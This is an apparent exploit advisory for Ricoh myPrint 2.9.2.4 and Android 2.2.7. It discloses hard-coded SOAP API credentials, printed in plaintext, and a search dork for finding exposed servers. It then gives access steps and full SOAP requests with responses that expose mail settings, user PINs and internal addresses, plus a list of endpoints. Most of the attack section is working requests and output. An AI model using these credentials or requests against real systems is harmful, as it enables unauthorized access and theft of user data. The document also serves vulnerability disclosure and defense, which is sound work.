1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283 | # Exploit Title: Ricoh myPrint 2.9.2.4 - Hard-Coded Credentials
# Google Dork: intitle:"ricoh myprint" "Copyright Ricoh. All Rights Reserved"
# Date: 2018-11-19
# Exploit Author: Hodorsec
# Vendor Homepage: https://www.ricoh.com
# Software Link: https://www.ricoh-europe.com/support/product-support/software-support-detail.html?prodId=100-13203
# Versions:
# myPrint - Windows client version 2.9.2.4
# myPrint - Android client version 2.2.7
# Tested on: Ricoh myPrint clients and WSDL webservice
# WSDL URL format: https://{HOST}/RicohmyPrint/MyPrintWebService.asmx?wsdl
# CVE: N/A
# Description:
# Hardcoded credentials in the Ricoh myPrint application 2.9.2.4 for Windows and 2.2.7 for Android
# give access to any externally disclosed myPrint WSDL API, as demonstrated by discovering
# API secrets of related Google cloud printers, encrypted passwords of mail servers and
# names of printed files.
# Additional Information:
# Hardcoded credentials in the Ricoh myPrint application 2.9.2.4 for Windows and 2.2.7 for
# Android (reverse-engineered, identical credentials), gives access
# to any externally disclosed Ricoh myPrint WSDL API. Using the found credentials, several info can be obtained, such as:
# * Show settings such as local paths, used mailserver, mailaddresses for POP/IMAP and encrypted passwords (appears to be stream-based
# encrypted, seeing different lengths of base64 hashes passwords (Algorithm yet unknown)). --> ReadMobileSettings
# * Checks if a password is valid for ANY known user; returns "true" if password is valid for a known user --> IsPasswordValid
# * Shows all user info such as ID, name by looking up email alias --> IdentifierByEmailAlias
# * Show used internal IP addresses and TCP ports of related printers/server for Ricoh myPrint
# * Show related Google cloud printers with API secrets --> ReadGoogleCloudPrinters
# * Show all printjob-statuses with filenames --> GetJobList
# * Show related organizations --> ReadOrganizations
# Affected Components:
# * Tested Ricoh myPrint clients with indicated versions and probably any remotely accessible myPrint webserver with an accessible WSDL API.
# Affected Code:
# * Android client "WebService.java"
...<SNIP>...
public static final class
{
public static final String AUTH_PASS = "Kyg63WfC";
public static final String AUTH_USER = "ricohmyprint";
public static final String NS_RICOH = "http://RicohmyPrint.com/";
public static final String NS_SOAP12 = "http://www.w3.org/2003/05/soap-envelope";
public static final String PRE_RICOH = "ric";
public static final String PRE_SOAP12 = "soap";
public static final String SERVICE = "/RicohmyPrint/myprintwebservice.asmx";
public static final String SUPPORTED_LANGS[] = {
"en", "ca", "de", "es", "fr", "it", "nl", "no", "pl", "pt",
"sv"
};
...<SNIP>...
Attack Type:
* Remote
Attack Vectors:
Steps:
* Download the Android APK or Windows executable installer
* Reverse engineer the APK or DLL's from the Windows installer
* Look for the string "PASS" with a regex tool, which should pop up a hit
* Access the WSDL on a reachable Ricoh myPrint environment and enumerate operations with a SOAP tool (e.g. "ReadMobileSettings")
* Use any operation, substitute the "AuthSoapHd" values for UserName and Password with the found credentials
* Perform the request and check results
Hardcoded Credentials:
* Username: ricohmyprint
* Password: Kyg63WfC
Header requirement:
Required for using in an SOAP WSDL POST message as a header with values:
<soapenv:Header>
<ric:AuthSoapHd>
<ric:UserName><![CDATA[ricohmyprint]]></ric:UserName>
<ric:Password><![CDATA[Kyg63WfC]]></ric:Password>
<ric:Version><![CDATA[0.1]]></ric:Version>
<ric:Application><![CDATA[Desktop]]></ric:Application>
<ric:DeviceId><![CDATA[1]]></ric:DeviceId>
</ric:AuthSoapHd>
</soapenv:Header>
Examples:
* ReadMobileSettings
---------------------------------------------
REQUEST
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ric="http://RicohmyPrint.com/">
<soapenv:Header>
<ric:AuthSoapHd>
<ric:UserName><![CDATA[ricohmyprint]]></ric:UserName>
<ric:Password><![CDATA[Kyg63WfC]]></ric:Password>
<ric:Version><![CDATA[0.1]]></ric:Version>
<ric:Application><![CDATA[Desktop]]></ric:Application>
<ric:DeviceId><![CDATA[1]]></ric:DeviceId>
</ric:AuthSoapHd>
</soapenv:Header>
<soapenv:Body>
<ric:ReadMobileSettings/>
</soapenv:Body>
</soapenv:Envelope>
RESPONSE
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<ReadMobileSettingsResponse xmlns="http://RicohmyPrint.com/">
<ReadMobileSettingsResult>
<WatchFolder>C:\ProgramData\RICOH\WatchFolder</WatchFolder>
<ProcessFolder>C:\ProgramData\RICOH\ProcessFolder</ProcessFolder>
<WebUploadFolder>C:\ProgramData\RICOH\WebUploadFolder</WebUploadFolder>
<MaximumNumberProcessesRunningAllowed>0</MaximumNumberProcessesRunningAllowed>
<ToFilePrinterName>myPrintToFile</ToFilePrinterName>
<PrinterDriverName>RICOH Aficio MP C3500 PCL 6</PrinterDriverName>
<POPIMAP>
<EmailHandling>SINGLE</EmailHandling>
<RetrievingInterval>5</RetrievingInterval>
<EmailProtocol>POP3</EmailProtocol>
<EmailServer>pop.someserver.local</EmailServer>
<Port>110</Port>
<PrintEmailBody>true</PrintEmailBody>
<UserName>print@someserver.local</UserName>
<Password>REDACTED</Password>
<Domain />
<EmailWebservice />
<ExchangeVersion>5</ExchangeVersion>
<OverrideCertificateCheck>false</OverrideCertificateCheck>
</POPIMAP>
<SMTP>
<SmtpServer>smtp.someserver.local</SmtpServer>
<Port>25</Port>
<EmailDisplayName>Ricoh myPrint</EmailDisplayName>
<EmailFrom>someuser@someserver.local</EmailFrom>
<EnableSsl>false</EnableSsl>
<UserName />
<Password>REDACTED</Password>
</SMTP>
<GCP>
<Id>0</Id>
<XmppPort>80</XmppPort>
<UseSocksProxy>false</UseSocksProxy>
<SocksProxyServer />
<SocksProxyVersion>5</SocksProxyVersion>
<SocksProxyPort>1080</SocksProxyPort>
<SocksProxyUser />
</GCP>
<LPRPrinterPort>0</LPRPrinterPort>
<UseLPR>false</UseLPR>
<EmailRefusal>postmaster</EmailRefusal>
</ReadMobileSettingsResult>
</ReadMobileSettingsResponse>
</soap:Body>
</soap:Envelope>
---------------------------------------------
* IdentifierByEmailAlias
---------------------------------------------
REQUEST:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ric="http://RicohmyPrint.com/">
<soapenv:Header>
<ric:AuthSoapHd>
<ric:UserName><![CDATA[ricohmyprint]]></ric:UserName>
<ric:Password><![CDATA[Kyg63WfC]]></ric:Password>
<ric:Version><![CDATA[a]]></ric:Version>
<ric:Application><![CDATA[b]]></ric:Application>
<ric:DeviceId><![CDATA[c]]></ric:DeviceId>
</ric:AuthSoapHd>
</soapenv:Header>
<soapenv:Body>
<ric:IdentifierByEmailAlias>
<!--Optional:-->
<ric:emailAlias>admin</ric:emailAlias>
</ric:IdentifierByEmailAlias>
</soapenv:Body>
</soapenv:Envelope>
RESPONSE:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<IdentifierByEmailAliasResponse xmlns="http://RicohmyPrint.com/">
<IdentifierByEmailAliasResult>
<Exists>true</Exists>
<Account>
<Id>1337</Id>
<AccountId>83e754ff-fa1d-48b6-adb2-7cb60a22476d</AccountId>
<UserName>admin</UserName>
<Emailaddress>someuser@someserver.local</Emailaddress>
<PersonalmyPrintId>1osd9KJ</PersonalmyPrintId>
<Balance>5</Balance>
<BalanceFormatted>€ 5,00</BalanceFormatted>
<Primarypin>123456</Primarypin>
<SecondaryPin/>
<OrganisationId>1</OrganisationId>
<ByClientCreated>false</ByClientCreated>
<IsActivated>true</IsActivated>
<GuestAccount>false</GuestAccount>
<Aliasses/>
<Transactions/>
<Language>GB</Language>
<MpPrintingPreferences>
<Id>0</Id>
<DuplexPreference>TwoSidedLongEdge</DuplexPreference>
<ColorPreference>Monochrome</ColorPreference>
<ChangingDuplexEnabled>true</ChangingDuplexEnabled>
<ChangingColorEnabled>true</ChangingColorEnabled>
<StaplePreference>StapleTopLeft</StaplePreference>
<PagePerSheetPreference>One</PagePerSheetPreference>
<ChangingStapleEnabled>true</ChangingStapleEnabled>
<ChangingPagePerSheetEnabled>true</ChangingPagePerSheetEnabled>
</MpPrintingPreferences>
<QpilotCardID/>
<ClientType>IDPLocal</ClientType>
<Administrator>false</Administrator>
<HelpDesk>false</HelpDesk>
<PrintQueue>
<Id>1</Id>
<PrinterId>1</PrinterId>
<PrintQueueType>LPR</PrintQueueType>
<PrinterName>Default printer</PrinterName>
<PrinterAddress>127.0.0.1</PrinterAddress>
<QueueName>lp</QueueName>
<Port>515</Port>
<IsPublic>true</IsPublic>
<Priority>0</Priority>
<Active>true</Active>
</PrintQueue>
<Domain/>
</Account>
</IdentifierByEmailAliasResult>
</IdentifierByEmailAliasResponse>
</soap:Body>
</soap:Envelope>
---------------------------------------------
Soap Endpoints:
* ApplyAgreementAcceptance
* ChangePassword
* ClearCache
* CreateAccount
* CreateAccountByCardId
* FinishedJobProcessing
* GetConditionsUri
* GetImage
* GetJobList
* GetLanguageTable
* GetPrintCapabilities
* GetPrintQueueRuleResult
* GetSupportUri
* IdentifierByEmailAlias
* IsPasswordValid
* LogIn
* Operation
* ReadAccount
* ReadGoogleCloudPrinters
* ReadMobileSettings
* ReadMpPrintQueues
* ReadOrganizations
* ReadSettings
* ReSendPincode
* ResetPassword
* RetrieveCloudPrintJobsAllowed
* RetrieveEmailAllowed
* SendCancelPrintJob
* SendHeartbeat
* SendPrinterName
* Test
* UpdateAccount
* UpdateGoogleCloudPrinter
* UploadFile
* UploadFileAndPrintTicket
* VerifyJobProcessing
* VoucherToCash
* WaitingJob
* WriteLog
Disclosure Timeline using CERT/CC disclosure policy:
- 04-10-18: Requested CVE
- 05-10-18: Contacted vendor for initial contact, used several publicly known mailaddresses
- 10-10-18: Contacted CERT for Vulnerability Disclosure coordination due to no response from vendor
- 22-10-18: CERT responded it received no response on their behalf from vendor
- 22-10-18: Sent reminder to vendor
- 19-11-18: Public Disclosure
|